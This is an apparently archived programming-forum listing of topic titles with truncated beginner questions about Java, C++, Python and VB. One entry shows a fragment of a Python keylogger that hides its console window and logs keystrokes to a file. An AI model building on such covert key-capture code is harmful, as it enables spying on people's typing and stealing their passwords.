132,729 Archived Topics

Remove Filter
Member Avatar for
Member Avatar for the_preface

I'm writing a code segment that calculates and displays the number of holes upon which a golfer made an eagle. Which is two fewer than the par value for the hole. This is what I have come up with. [CODE] int[] par = new int[18]; int[] strokes = new int[18]; …

Software Development java
Member Avatar for sneaker
0
142
Member Avatar for sidhu51

Hi all, I am using visual studio 2005 to edit a form.cs where i am in a situation where the text entered in a particular text box must be trimmed. for eg : if the text entered in the text box in SMS_dr_6500 , i want to trim the text …

Software Development visual-studio
Member Avatar for sidhu51
0
108
Member Avatar for tquiva

I am trying to create a game and tried compiling my program with my makefile, but I keep getting an error stating that there is something wrong in main. I can't seem to find the error, but this is how my main looks like: [CODE]#include "tfdef.h" #include "movement.h" #include "game_utils.h" …

Software Development c
Member Avatar for Banfa
0
2K
Member Avatar for slowlearner2010

hi fellas, here is my prob: im using microsoft visual C++ 2010 Express edition, which is a trial one...i've been googling this tutorial since last 3 week. But no result i found. I hope somebody can help me.....for ur info, im a beginner in programming world...huhu any good advise...??:)

Software Development c++
Member Avatar for slowlearner2010
0
163
Member Avatar for mccbebz

just want to ask if this is an array program????... my professor told us to make array program that displays 10 names.. my professor tells us that we can use C or C++ program.. i prefer using C cause im much familiar with C programs... Output: fdgdfg dfgdfg dfgdfg dfgdfg …

Software Development c++ display
Member Avatar for harsh.varudkar
0
125
Member Avatar for mariosbikos

[CODE]int sin2(int g) { static int metritis1=1,i=0; int l,c,pin[100],pin2[100]; char result; srand ( time(NULL) ); l = rand() % 10; c = rand() % 10; c=65+c; l=l+1; pin[g]=c; pin2[g]=l; printf("%d and %d the g is %d\n",pin[g],pin2[g],g); while (1){ if (pin[i]==pin[g] && pin2[i]==pin2[g]){ printf("%c kai %d g is %d to i …

Software Development c
Member Avatar for mariosbikos
0
111
Member Avatar for lam-chop

I'm trying to figure out how to make a recursive maze solver, but I'm stuck at how to tell the maze to turn around and trace back its trail once it hits a dead end. Anyone able to help me?

Software Development python
Member Avatar for justaguy101
0
850
Member Avatar for avinash_545

hi everyone. well I have a small problem. Actually, I have an interface (ComplexNum) and a class (ComplexNumb).The end result is to do small calculation with some complex numbers. I have already implemented the interface in the class , but eclipse keeps on telling me that I have to implement …

Software Development java
Member Avatar for avinash_545
0
106
Member Avatar for anthonysteven

Hi, When I tried to install Netbeans 6.1 in Vista, I get this error message: java.lang.RuntimeException: java.io.IOException: Could not get shell folder ID list Any help would be appreciated. Regards, Anthony

Software Development java java-netbeans
Member Avatar for peter_budo
0
111
Member Avatar for charlieruns

I have a gui with an ADD, EDIT, and DELETE button. All of which are not active until you click their respective name from the menu bar. Once I click on the DELETE key in the menu, it actives my delete button fine, but when I select an object from …

Software Development gui java
Member Avatar for charlieruns
0
63
Member Avatar for sharathk60

hi please help to print character form a-z and 0-9 randamly in java all the character sholud be present without repetion ie all 26+10 letter sholud print and each time it sholud print differently like First time if it print like this 0 a 2 f g t h y …

Software Development java
Member Avatar for sharathk60
0
384
Member Avatar for luvthug

My Printwriter method is not writing to a text file. the code runs fine it displays the text on screen but nothing appears in the text file. [CODE] public void run() throws IOException { Scanner sc = new Scanner(System.in); boolean cont = true; while (cont) { System.out.println("Enter your line text"); …

Software Development java
Member Avatar for charlieruns
0
175
Member Avatar for pinsickle

Hello, I am pretty new to Java so I am following along in a book to learn it. I am currently in the beginnings of making a MIDI player but I have run into to a problem. I am using a sequencer, if I don't close the sequencer the program …

Software Development java
Member Avatar for pinsickle
0
146
Member Avatar for sho12345

Ok so today I tried translating the ever confusing pseudo codes that our books give us and this happened. First of all, queues and lists are built in functions in the c++ library right? I have a bunch of compiler errors that wont go away. Queue undeclared, list undeclared, ifstream …

Software Development c++ queue
Member Avatar for sho12345
0
274
Member Avatar for slckrck89

Okay, here's the deal. I haven't tried to compile my code yet, because it's just a class library that I'm creating so far - nothing needed to be ran. Anyways, here's my code: [CODE=c++]const std::vector<Item*>& Inventory::setItems(const Item* itms, crUINT numOfItms) { _itms.clear(); for (UINT i = 0; i < numOfItms; …

Software Development c++
Member Avatar for slckrck89
0
82
Member Avatar for Bonolo

Hi guys please help am trying to bind my combo boxes to the datagridview.What i want to do is to select data from the combo boxes and that data to be transferred immediately to the datagridview and that data in datagridview as well to be saved to the database.please help.

Software Development
Member Avatar for rohand
0
86
Member Avatar for Alq Veers

Hi guys, Im trying to bring up a new window then the Credits button located in the help menu is clicked. Im trying to run it as a command. So right now, that code doesnt work unless you comment out the creditsCommand region. So can anyone point me in the …

Software Development gui python tkinter
Member Avatar for Alq Veers
0
155
Member Avatar for marc0627

good day to all.. i am new in making macro in excel and i want to make a macro that will copy a certain range to my active sheet and print it... I have a multiple file so i already made a form for the program that will ask the …

Software Development visual-basic
Member Avatar for marc0627
0
96
Member Avatar for krishnisilva

hi, i have created a login form for my project and coded it, but when the username and the passsword is correct i have added the below code Qustion 1 [CODE]if (u.accessGranted(txtUsername.Text, txtPassword.Text)) { ClearTextBoxes(); new frmMainMenu().Show(); // main form after the login this.Close();//login form }[/CODE] but when the login …

Software Development
Member Avatar for rsodarith
0
150
Member Avatar for fellixombc

I get an error when I try compiling with #include <cmath>, yes, I've tried with -lm, still does not work. Compiler: MinGW Compile.bat: [CODE]@echo off echo Compiling... g++.exe main.cpp -o "Distance.exe" -lm pause [/CODE] cmath IS in MinGw include folder. C:\MinGW\include\c++\3.4.5\cmath Any ideas?

Software Development c c# c++
Member Avatar for NathanOliver
0
415
Member Avatar for Eris32

Hi, I've been working on this a few days and I'm kinda stuck. my error is in line 38- average =ave(&ParentsAge,sizeof(ParentsAge)); If anyone has any ideas as to what I am doing wrong, I would love to finally figure this out!! Thanks #include <iostream> using namespace std; void displayTitle () …

Software Development c++
Member Avatar for Eris32
0
173
Member Avatar for nola_Coder

For some strange reason, my game's score counter is not working correctly. I threw in an enemy, which just walks back and forth between two blocks in the map. I know I probably didn't program the enemy the smartest way, and I'm probably about to change it. Instead of programming …

Software Development c++
Member Avatar for NathanOliver
0
111
Member Avatar for drummy

Hi Group, Need some help. I'm performing some statistics on a txt file that has multiple columns using a collection list (vb.net 2008). My files can contain 100,000+ samples per file. How would I code my function to have it perform work on the first 3000 samples and continue the …

Software Development vb.net
Member Avatar for drummy
0
154
Member Avatar for evans007

So I'm trying to loop and read in values from my csv while there are values to be read. What do I use for the while condition? I tried all manner of things..... [CODE] void load() {//read from file ifstream inFile("csv.txt"); string line; if(inFile.is_open()) { } else { cout << …

Software Development c++ file-stream
Member Avatar for NathanOliver
0
109
Member Avatar for Jaks_maths

Efficient code for extracting unique elements from sorted array. Time Complexity is O(n)

Software Development c
Member Avatar for raghuram1987
0
339
Member Avatar for jozz3

I'm just playing around with basic GUI code. I have created two check boxes, and a text field below them. I want it to say, "I like Pizza", 'I like Pasta", "I like nothing", or "I like Pizza and Pasta" in the text field depending upon which checkboxes are ticked. …

Software Development gui python
Member Avatar for woooee
0
107
Member Avatar for jko2326

I had to convert one of my programs into an applet. And most of it I copied and pasted, but the program is suppose to let the user input a number in the texfield and when they click one of the radio button options the calculate resuls are suppose to …

Software Development java java-swing
Member Avatar for moutanna
0
136
Member Avatar for Siren88

Hi, I am trying to create a graphical program that visually stimulates the path of the sun over a city skyline. I've created a Time button but I don't know how to move my sun to the right each time I click on "Time". The program should works like this: …

Software Development java java-swing
Member Avatar for otherdummy
0
140
Member Avatar for maf5693

alright I am trying to develop an operating system with assembly. I have written the boot loader and the beginnings of a kernel-however I am having a problem printing characters to the screen. Here is my bootloader [CODE] use16 ; We need 16-bit intructions for Real mode ORG 0x7C00 ; …

Software Development assembly display operating-system
Member Avatar for maf5693
0
327
Member Avatar for Geodude0487

So my teacher this semester is the worst I ever had, I can not get a hold of him at all for help on these labs I've been working on them and trying to get his help on them for the past 3 weeks but since it's an online class, …

Software Development java
Member Avatar for Geodude0487
0
125
Member Avatar for close_encounter

What I'm trying to accomplish is for the program to ask the user for their username and password and display it to the screen like this "John, abc123" after the function passwordCheck has confirmed that the password is not less then 5 characters. If the password is less then 5 …

Software Development c++
Member Avatar for close_encounter
0
94
Member Avatar for idlackage

I'm trying to make a method that would create a new tab with a specified name and a white background. However, nothing I pass in (whether it's a JPanel, JButton, etc.) would show up in the final result. I can't tell what's wrong. [CODE]import javax.swing.JFrame; import javax.swing.JPanel; import java.awt.BorderLayout; import …

Software Development java java-swing
Member Avatar for idlackage
0
130
Member Avatar for adam2009

Hello, I have used the following article to create N local users: [url]http://www.codeproject.com/KB/system/everythingInAD.aspx?msg=3448333#xx3448333xx[/url] How do I set some batch file ,that I have wrote ,to be executed right when each user logs-in? (Include it in the statup functions to be executed). Cheers,

Software Development
Member Avatar for adam2009
0
171
Member Avatar for ejohns85

Hello, I am using the computer vision libraries in OpenCV - if anybody is familiar with these then maybe you can help ;) I am trying to estimate the fundamental matrix between two images, using cvFindFundamentalMat(). I have created two matrices representing points in the left (points1) and right (points2) …

Software Development c++ computer-vision
Member Avatar for daviddoria
0
158
Member Avatar for timbomo

im trying to figure out how i count the number of 5 letter words in a file and the number of 6 or greater words in the same file using a string. all the examples are at higher level of programming im just a beginner. my books very briefly tells …

Software Development c++
Member Avatar for Erco21
0
106
Member Avatar for tyuo9980

I have made a simple keylogger but there are some problems with it. [CODE]import win32api import win32console import win32gui import pythoncom, pyHook win = win32console.GetConsoleWindow() win32gui.ShowWindow(win,0) def OnKeyboardEvent(event): if event.Ascii==28: _exit(1) if event.Ascii != 0: f=open('C:\Users\Peter\Desktop\output.txt','r') buffer=f.read() f.close() f=open('C:\Users\Peter\Desktop\output.txt','w') keylogs=chr(event.Ascii) if event.Ascii==13: keylogs='/n/' if event.Ascii==32: keylogs='/s/' if event.Ascii==8: keylogs='/b/' if …

Software Development python
Member Avatar for tyuo9980
0
152
Member Avatar for Obsidian_496

My program has to open a text file. I want it to give an error message if the file does not exist (or has a diferent name, which is the same, really). I'm using a pretty old Borland compiler, because home assingnments are checked with it. Compiler shows me this …

Software Development c++
Member Avatar for hag++
0
160
Member Avatar for kiyu2keith

Salon membership fee Male = 600 Female = 500 If Foreigner +850 n for not foreign f if foreign my code is [CODE] public static void main(String[] args) { String gender, nat; gender=JOptionPane.showInputDialog("Gender"); nat=JOptionPane.showInputDialog("Nationality"); if (gender=="m" & nat=="n"){ JOptionPane.showMessageDialog(null,"Gender:" +gender +"\nNationality"+nat+"Fee is 1450" [/CODE] This code doesn't work so I …

Software Development java
Member Avatar for kiyu2keith
0
109
Member Avatar for Protoroll

Okay, so I wrote a method that goes through the arraylist checks if the items has the maximum value, which is ten, and returns it in a new arraylist. I got that method to work, but I am having trouble writing the test class for it. It keeps returning false. …

Software Development java
Member Avatar for cale.macdonald
0
89
Member Avatar for ceyesuma

Hello Could someone point out what I need to change in the code I have so far? I would like to use XML format in a properties file. The original .properties worked but this will not load the new formatted .properties. I have an app that loads properties in ModelUtils.java …

Software Development java xml
0
68
Member Avatar for Cory_Brown

I'm stuck on checking a set of lists to see if they have values. I have 8 lists that are created in my program and I need to check if the lists have any values at all. If all 8 lists return values I want to return true. If any …

Software Development
Member Avatar for Sodabread
0
106
Member Avatar for Learner7

Hi, How can I call this sub? Getting an error as it is attached in the .JPG. Please help. Thanks.

Software Development vb.net
Member Avatar for Learner7
0
59
Member Avatar for LevyDee

So is it worth learning win32 API instead of just shooting straight to Microsoft Foundation Classes? One of my classes covered win32 for a little and I was able to do a couple fun things with it, but then we jumped into MFC. It makes you ask the question, is …

Software Development api c++
Member Avatar for LevyDee
0
103
Member Avatar for nemoo

hey all :) I'm trying to draw an arrow at the runtime in a windows application between two controls those controls are like a circle and a bar and I need to click a button then select those two controls one after the other then an arrow is drawn from …

Software Development
Member Avatar for nemoo
0
416
Member Avatar for Heba91

Write a program which takes a single integer input "height" and displays a "pyramid" of this height made up of "*" characters on the screen. Sample Output: Pick another height (must be between 1 and 30): the triangle must be equilataural * *** ***** ******* ********* *********** *************

Software Development java
Member Avatar for bsewell
0
122
Member Avatar for MWE_QUE

Thanks in advance for any help I can get. This is a que I need to add in to another program. It is almost straight out of the book, and a lot like my working stack implementation. It steps through correctly when I go line by line, but I'm not …

Software Development c queue
Member Avatar for nezachem
0
105
Member Avatar for red999

I implemented a BFS on a maze that I made, but the one problem that I have is that I do not know how to obtain the indices of the path that it took to solve the maze. Right now all my BFS algorithm does it prints out if it …

Software Development algorithm c++ queue
Member Avatar for WaltP
0
159
Member Avatar for aliirooni

hi, i have an error in my syntax where define operator +() . compiler says "declaration syntax error" i have. what is my fault!? [code=c] #include<iostream.h> class exforsys{ private: int x,y; public: exforsys(){x=0; y=0;} void getvalue(){ cout<<"\n enter value for x:"; cin>>x; cout<<"\n enter value for y:"; cin>>y; } void …

Software Development c++
Member Avatar for Salem
0
133
Member Avatar for CarleneGriffith

I am having a problem with my code. below i have outlined the home work requirement. please take a look at the second part(this is the code that i have written) I keep getting an error when i try to run the code. The error states:The program '[3716] Lab02 Case01.exe: …

Software Development c++ objective-c visual-basic visual-studio
Member Avatar for WaltP
0
112
Member Avatar for robski

Hi everyone. Could someone please help me with this. I have a program which i have written and finished for a college assignment. It is completely done. I have a perfect working copy on my laptop but when i copy it to usb stick and take it to college it …

Software Development c++
Member Avatar for WaltP
0
224

The End.